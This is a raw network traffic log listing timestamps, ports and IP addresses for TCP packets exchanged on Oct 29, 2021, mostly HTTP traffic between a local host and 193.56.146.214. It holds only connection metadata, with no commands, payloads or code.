Oct 29, 2021 14:11:13.583148956 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.583414078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.583458900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.583476067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.583492041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.583507061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.583523035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.583539009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.584038019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.584054947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.584072113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.584228992 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.585146904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.585163116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.585165024 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.585180044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.585210085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.585261106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.585346937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.585362911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.586003065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.586019993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.586163044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.587165117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.587186098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.587202072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.588150024 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.619730949 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.620332003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.620373964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.620655060 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.623822927 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.623943090 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.631247997 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.632932901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.632980108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.633025885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.633064985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.633104086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.633147955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.633184910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.633707047 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.641791105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.641860962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.641912937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.641964912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642016888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642060995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642097950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642138958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642184973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642232895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642272949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642314911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642360926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642412901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642462969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642512083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642563105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642602921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642649889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642692089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642716885 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.642735004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642776966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642817020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642857075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642893076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642931938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.642968893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643017054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643083096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643135071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643188000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643244028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643300056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643357992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643405914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643454075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643501997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643551111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643596888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643646002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643693924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643696070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.643742085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643790960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643837929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.643888950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.644320965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.644412994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.644633055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.644707918 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.644751072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.644906998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.644992113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.645754099 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.646085024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646161079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646363974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646409988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646445990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646487951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646511078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646697044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.646922112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.646985054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.647015095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.647037029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.647063971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.647124052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.647710085 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.648701906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.649303913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649368048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649394989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649430037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649465084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649492979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649518967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649552107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649579048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649616003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.649720907 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.650399923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650432110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650682926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.650718927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650779963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650806904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650842905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650867939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.650902033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.651087999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.651688099 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.651879072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.651906967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.651947975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.651971102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652000904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652024984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652065039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652090073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652825117 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.652837992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652901888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.652980089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.653693914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.653722048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653769016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653800011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653824091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653853893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653879881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653906107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653933048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653954983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.653986931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.654675007 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.654695988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.655756950 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.655769110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.655814886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.656610966 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.656683922 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.658885002 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.664751053 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.664808989 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.665059090 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.665359020 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.665388107 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.687648058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.690913916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.690954924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.691711903 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.698245049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.698753119 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.700603962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.700644016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.700681925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.700721979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.700757980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.700795889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.701713085 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.705431938 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.710798979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.710860968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.710925102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.710972071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711008072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711045027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711082935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711121082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711179018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711215019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711251974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711289883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711325884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711364031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711400986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711438894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711478949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711514950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711553097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711591005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711741924 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.711854935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711910009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711950064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.711987972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712027073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712064981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712102890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712140083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712177992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712214947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712714911 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.712784052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712833881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712910891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712946892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.712985992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713027000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713063955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713102102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713649035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713706017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713706970 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.713752031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713790894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713829994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713870049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713906050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713943005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.713980913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714016914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714055061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714092016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714555025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714613914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714653969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714692116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714699030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.714731932 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714767933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714807987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.714844942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715588093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715646029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715694904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715745926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715748072 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.715784073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715838909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715889931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.715934992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716672897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716694117 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.716731071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716772079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716814041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716903925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716949940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.716988087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.717025995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.717052937 CEST	50114	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:11:13.717106104 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.717601061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.717643023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.717680931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.717710018 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.717717886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.718542099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.718592882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.718635082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.718672991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.718710899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.718712091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.718755960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.719703913 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.719975948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720031023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720071077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720109940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720149994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720185995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720223904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720268011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720611095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720652103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.720797062 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.721024036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.721690893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721699953 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.721744061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721785069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721824884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721862078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721899033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721935987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.721973896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.722615004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.722654104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.722702980 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.723592997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.723632097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.723704100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.726984024 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.756444931 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756504059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756541014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756580114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756618023 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756654024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756681919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756731987 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.756825924 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756896019 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756936073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.756961107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.757721901 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.758595943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.758645058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.758687973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.758734941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.759706020 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.763036013 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763183117 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763253927 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763353109 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763410091 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763465881 CEST	443	50114	162.159.135.233	192.168.2.3
Oct 29, 2021 14:11:13.763533115 CEST	443	50114	162.159.135.233	192.168.2.3
